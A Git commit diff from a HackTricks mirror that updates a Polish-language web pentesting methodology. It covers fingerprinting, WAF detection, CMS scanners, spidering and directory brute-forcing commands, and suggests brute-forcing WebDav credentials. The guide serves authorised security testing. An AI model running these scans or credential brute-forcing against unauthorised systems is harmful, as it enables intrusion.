maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/command-injection.md', 'src/pentesting-w

Browse Source
This commit is contained in:
Translator 2025-08-28 14:32:45 +00:00
parent 0c7aa1fb1a
commit 8b701dfe32
6 changed files with 489 additions and 370 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

258
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,12 +1,12 @@
# 80,443 - Metodologia Pentestingu Web
# 80,443 - Pentesting Web - Metodologia
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe informacje
Usługa webowa jest najbardziej **powszechną i rozległą usługą** i istnieje wiele **różnych typów podatności**.
Usługa webowa jest najbardziej **powszechną i rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**.
**Domyślny port:** 80 (HTTP), 443(HTTPS)
**Domyślne porty:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -26,46 +26,46 @@ web-api-pentesting.md
## Podsumowanie metodologii
> W tej metodologii zakładamy, że będziesz atakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie.
> W tej metodologii założymy, że będziesz atakować pojedynczą domenę (lub subdomenę) i tylko ją. Zastosuj tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem web w zakresie.
- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer webowy. Szukaj **sztuczek**, które warto mieć na uwadze podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię.
- [ ] Jakieś **znane luki** w wersji technologii?
- [ ] Używasz jakiejś **znanej technologii**? Jakieś **przydatne sztuczki** do wydobycia większej ilości informacji?
- [ ] Jakieś **specjalistyczne skanery** do uruchomienia (jak wpscan)?
- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego.
- [ ] Zacznij od **wstępnych kontroli**: **robots**, **sitemap**, **błąd 404** i **skanowanie SSL/TLS** (jeśli HTTPS).
- [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on spiderowany._
- [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**.
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on poddany brute force._
- [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych.
- [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**.
- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
- [ ] Rozpocznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **sztuczek**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się poprawnie zidentyfikować technologię.
- [ ] Czy istnieje jakaś **znana podatność** dla wersji tej technologii?
- [ ] Czy używana jest jakaś **znana technologia**? Jakieś **przydatne sztuczki** do wydobycia dodatkowych informacji?
- [ ] Czy należy uruchomić jakiś **wyspecjalizowany skaner** (np. wpscan)?
- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub odkryją ciekawe informacje.
- [ ] Zacznij od **początkowych kontroli**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS).
- [ ] Rozpocznij **spidering** strony: czas **odnaleźć** wszystkie możliwe **pliki, foldery** oraz **używane parametry.** Sprawdź też pod kątem **specjalnych odkryć**.
- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go spiderować._
- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **plików** i **katalogów**.
- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._
- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **odkrytych plików** przez dodanie typowych rozszerzeń kopii zapasowych.
- [ ] **Brute-Force parameters**: Spróbuj **odnaleźć ukryte parametry**.
- [ ] Gdy **zidentyfikujesz** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje związanych z nimi **vulnerabilities**.
- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
## Wersja serwera (Vulnerable?)
## Wersja serwera (Podatna?)
### Identyfikacja
Sprawdź, czy istnieją **znane luki** w wersji serwera **działającego**.\
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:**
Sprawdź, czy istnieją **znane podatności** dla wersji serwera, która jest uruchomiona.\
**Nagłówki HTTP i cookies odpowiedzi** mogą być bardzo przydatne do **identyfikacji** używanych **technologii** i/lub **wersji**. **Nmap scan** może zidentyfikować wersję serwera, przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com):
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Szukaj [**podatności wersji aplikacji webowej**](../../generic-hacking/search-exploits.md)
### **Sprawdź, czy istnieje jakiś WAF**
### **Sprawdź, czy istnieje WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Sztuczki technologii webowych
### Triki dotyczące technologii webowych
Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -78,6 +78,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
@ -88,7 +89,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php ma wiele interesujących sztuczek, które mogą być wykorzystane)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -98,22 +99,21 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Pamiętaj, że **ta sama domena** może używać **różnych technologii** w różnych **portach**, **folderach** i **subdomenach**._\
Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!).
_Pamiętaj, że ten **same domain** może korzystać z **different technologies** na różnych **ports**, **folders** i **subdomains**._\
Jeśli aplikacja webowa używa którejkolwiek z dobrze znanych technologii/platform wymienionych wcześniej lub **any other**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!).
### Przegląd kodu źródłowego
Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia **własnego testu White box** aplikacji, istnieje **kilka informacji**, które mogą być **przydatne** dla aktualnego **testowania Black-Box**:
- Czy istnieje plik **Change-log lub Readme lub Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez sieć?
- Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)?
- Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany?
- Czy używa się jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany?
- Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś lukę?
- Czy w **githubie** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)?
Jeśli **source code** aplikacji jest dostępny na **github**, oprócz przeprowadzenia przez siebie **White box test** aplikacji, istnieją pewne informacje, które mogą być **useful** dla bieżącego **Black-Box testing**:
- Czy istnieje plik **Change-log or Readme or Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez web?
- W jaki sposób i gdzie są przechowywane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (nazwy użytkowników lub hasła)?
- Czy **passwords** są w **plain text**, **encrypted** czy jaki **hashing algorithm** jest używany?
- Czy używa jakiegoś **master key** do szyfrowania czegoś? Jaki **algorithm** jest używany?
- Czy możesz **access any of these files** wykorzystując jakąś podatność?
- Czy są jakieś **interesting information in the github** (rozwiązane i nierozwiązane) w **issues**? A może w **commit history** (może jakieś **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
@ -135,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Skanery CMS
Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może znajdziesz coś interesującego:
Jeśli używany jest CMS, nie zapomnij **run a scanner**, może znajdziesz coś ciekawego:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** strony internetowe pod kątem problemów z bezpieczeństwem. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** stron pod kątem problemów bezpieczeństwa. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,13 +148,13 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
> Na tym etapie powinieneś już mieć pewne informacje o web server używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś scanner.
## Krok po kroku Odkrywanie Aplikacji Webowej
## Krok po kroku odkrywanie Web Application
> Od tego momentu zaczniemy interakcję z aplikacją webową.
> Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową.
### Wstępne kontrole
### Wstępne sprawdzenia
**Domyślne strony z interesującymi informacjami:**
@ -163,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Sprawdź również komentarze na stronach głównych i podrzędnych.
- Sprawdź również komentarze na stronach głównych i pomocniczych.
**Wymuszanie błędów**
Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich dziwne dane. Może to otworzyć **luki** lub **ujawniać wrażliwe informacje**.
Web servers mogą **zachowywać się nieoczekiwanie**, gdy do nich wysyłane są nietypowe dane. To może otworzyć **vulnerabilities** lub spowodować **ujawnienie wrażliwych informacji**.
- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.itd)
- **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy
- Wygeneruj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL**
- Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE
- Odwiedź **fake pages** takie jak /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** w **cookie values** i w wartościach **parameter**, aby wywołać błędy
- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
- Spróbuj **różnych HTTP Verbs** takich jak PATCH, DEBUG lub nieprawidłowych, np. FAKE
#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
Jeśli okaże się, że **WebDav** jest **enabled**, ale nie masz wystarczających uprawnień do **uploading files** w katalogu root, spróbuj:
- **Brute Force** poświadczeń
- **Przesyłać pliki** za pomocą WebDav do **pozostałych** **znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików w innych folderach.
- Wykonaj **Brute Force** na credentials
- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do przesyłania plików w innych folderach.
### **Luki w SSL/TLS**
### **SSL/TLS vulnerabilites**
- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **vulnerable to MitM**
- Jeśli aplikacja **wysyła wrażliwe dane (hasła) używając HTTP**. To jest poważna luka.
- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to wysoka podatność.
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh), aby sprawdzić **luki** (w programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv**](https://github.com/hahwul/a2sv), aby ponownie sprawdzić luki:
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) aby sprawdzić **vulnerabilities** (W programach Bug Bounty prawdopodobnie tego typu podatności nie zostaną zaakceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -195,63 +195,63 @@ Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh), aby sprawdzić *
sslscan <host:port>
sslyze --regular <ip:port>
```
Informacje o lukach SSL/TLS:
Informacje o podatnościach SSL/TLS:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak największej liczby ścieżek** z testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i zewnętrzne źródła, aby znaleźć jak najwięcej ważnych ścieżek.
Uruchom jakiś rodzaj **spider** wewnątrz serwisu WWW. Celem spidera jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego crawlery i zewnętrzne źródła powinny być użyte, aby znaleźć jak najwięcej prawidłowych ścieżek.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako zewnętrzne źródło.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje również "soczyste pliki".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje również Archive.org.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrznych źródłach (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFider dla plików JS i Archive.org jako źródło zewnętrzne.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje także "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Wyszukuje również w Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwościami renderowania JS. Wygląda jednak na to, że nie jest utrzymywany, wersja skompilowana jest stara, a obecny kod nie kompiluje się.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, który korzysta z zewnętrznych dostawców (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wypisze.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane, prekompilowana wersja jest stara, a obecny kod nie kompiluje się.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, który używa zewnętrznych dostawców (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie URL-e z parametrami i je wypisze.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również zwrócić uwagę na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni adresy URL z niego, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi.
- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno w źródle HTML jak i osadzonych plikach javascript. Przydatne dla bug hunterów, red teamów, infosec ninja.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do łatwego odkrywania żądań AJAX. Wygląda na nieutrzymywany.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla pliku (HTML) wyciągnie URL-e używając sprytnego regexa, by znaleźć i wyodrębnić względne URL-e z niechlujnych (minifikowanych) plików.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS używając kilku narzędzi.
- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przy ładowaniu strony.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery contentu łączące kilka opcji poprzednich narzędzi
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska zbeatyfikowany kod JS.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które dla danego .js.map URL pobierze dla Ciebie beautified kod JS
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla zadanego celu.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając kolejnych linków)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet poprzez wypełnianie formularzy) i także znajdź wrażliwe info używając specyficznych regexów.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany, wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **wyciągania parametrów i endpointów** z requestów, by tworzyć niestandardowe wordlisty do fuzzingu i enumeracji.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda mu się znaleźć.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisze każdy link, który potrafi znaleźć.
### Brute Force katalogów i plików
### Brute Force directories and files
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcujesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Zacznij **brute-forcing** od katalogu root i upewnij się, że brute-forcujesz **wszystkie** **katalogi znalezione** używając **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz wykonywać to brute-forcing **rekurencyjnie** i dopisywać na początku użytej wordlisty nazwy znalezionych katalogów).\
Narzędzia:
- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu do innych opcji.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia wyszukiwanie rekurencyjne.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **wyszukiwania** rekurencyjnego.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera wyszukiwanie rekurencyjne.**
- **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu z innymi opcjami.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certyfikaty ale** pozwala na wyszukiwanie rekurencyjne.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certyfikaty, **nie** posiada **rekurencyjnego** searchu.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które, podając listę znalezionych adresów URL, usunie "zduplikowane" adresy URL.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Rozszerzenie Burp do tworzenia listy katalogów z historii burp różnych stron.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa adresy URL z zduplikowanymi funkcjonalnościami (na podstawie importów js).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wybierania list słów do użycia.
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które dla listy znalezionych URL-i usunie "zduplikowane" URL-e.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii burp dla różnych stron
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (na podstawie importów js)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wyboru wordlist do użycia.
**Zalecane słowniki:**
Recommended dictionaries:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** wbudowany słownik](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote wordlists](https://wordlists.assetnote.io)
